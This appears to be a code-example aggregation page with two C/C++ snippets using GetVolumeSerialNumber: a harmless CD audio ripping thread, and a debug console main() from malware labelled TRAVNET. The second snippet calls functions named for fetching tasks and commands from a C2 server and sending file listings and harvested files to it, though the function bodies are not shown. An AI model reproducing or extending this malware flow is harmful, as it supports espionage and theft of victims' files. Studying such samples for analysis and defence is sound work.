Exemplo n.º 1
0
Arquivo: mcdr.cpp Projeto: msdsgn/mcdr
/* ======================================================================= */
DWORD WINAPI ThreadMain(PWINDOWHANDLES H)
{
  DWORD ExitCode = 0;

  UCHAR CDDrive = GetCDROMDrive(H);
  if(CDDrive != 0)
  {
    HANDLE CDDriveHandle = OpenCDROMDrive(H, CDDrive);
    if(CDDriveHandle != INVALID_HANDLE_VALUE)
    {
      DWORD DiscTotal, TrackCount;
      PCDTRACK CDTrackData = GetCDROMTracks(H, CDDriveHandle, &DiscTotal, &TrackCount);
      if(CDTrackData != NULL)
      {
        CHAR BasePath[MAX_PATH];
        CHAR CurDir[MAX_PATH];
        _getcwd(CurDir, MAX_PATH);
        _snprintf(BasePath, MAX_PATH, "%s\\%08X", CurDir, GetVolumeSerialNumber(CDDrive));
        Log(LOG_WRITE, "Base path is %s", BasePath);
        if(DumpCDAudioTracks(H, CDDriveHandle, DiscTotal, TrackCount, CDTrackData, BasePath) == false)
          ExitCode = 4;
        delete CDTrackData;
      }
      else ExitCode = 3;
      if(CloseHandle(CDDriveHandle) == FALSE)
        Log(LOG_WRITE, "Error code %u closing CD-ROM drive handle", GetLastError());
    }
    else ExitCode = 2;
  }
  else ExitCode = 1;

  SendMessage(H->WH, WM_CLOSE, 1, 0);

  return ExitCode;
}
Exemplo n.º 2
0
int main()
{
	PRINTDBG("[TRAVNET-CONSOLE]\n");
	PRINTDBG("This executable is only for debug purpose.\n\n");

	PRINTDBG("\n[INFO]\n");

	GetVolumeSerialNumber(g_szVolumeSerialNr, 260);
	GetHostInfo(g_szHostname, 260, g_szHostByName);
	LoadConfig();

#ifdef _DEBUG
	CHAR szConfigPath[260];
	CHAR szWinDir[260];

	GetWindowsDirectory(szWinDir, 260);
	sprintf(szConfigPath, "%s\\system\\config_t.dat", szWinDir);
	
	PRINTDBG("Config file  : %s\n", szConfigPath);
#endif

	PRINTDBG("Temp file dir: %s\n", g_szTmpPath);
	PRINTDBG("UDIdx path   : %s\n", g_szUDIdx);
	PRINTDBG("UEnumFS path : %s\n", g_szUEnumFS);
	PRINTDBG("EnumFS path  : %s\n", g_szEnumFS);
	PRINTDBG("DNList path  : %s\n", g_szDNList);
	PRINTDBG("Stat_T path  : %s\n", g_szStat_T);
	PRINTDBG("System dir   : %s\n", g_szSysDir);

	PRINTDBG("\n[FUNCTIONS]\n");
	PRINTDBG("GetTaskFromC2  : %s\n", sc_szTasks[GetTaskFromC2()]);
	PRINTDBG("SendCMDRecvToC2: %d\n", SendCMDRecvToC2());
	PRINTDBG("GetCMDFromC2   : %d\n", GetCMDFromC2());
	//PRINTDBG("SendFileToC2   : %d\n", SendFileToC2("local-test-file.txt", "remote-test-file.txt"));
	PRINTDBG("GenerateEnumFS : %d\n", GenerateEnumFS());
	PRINTDBG("SendEnumFSToC2 : %d\n", SendEnumFSToC2());
	PRINTDBG("SendDNListFilesToC2 : %d\n", SendDNListFilesToC2());

	ScanDevice("E:\\");
	PRINTDBG("SendUEnumFSToC2: %d\n", SendUEnumFSToC2());

	TaskReset();

	system("pause");
	return 0;
}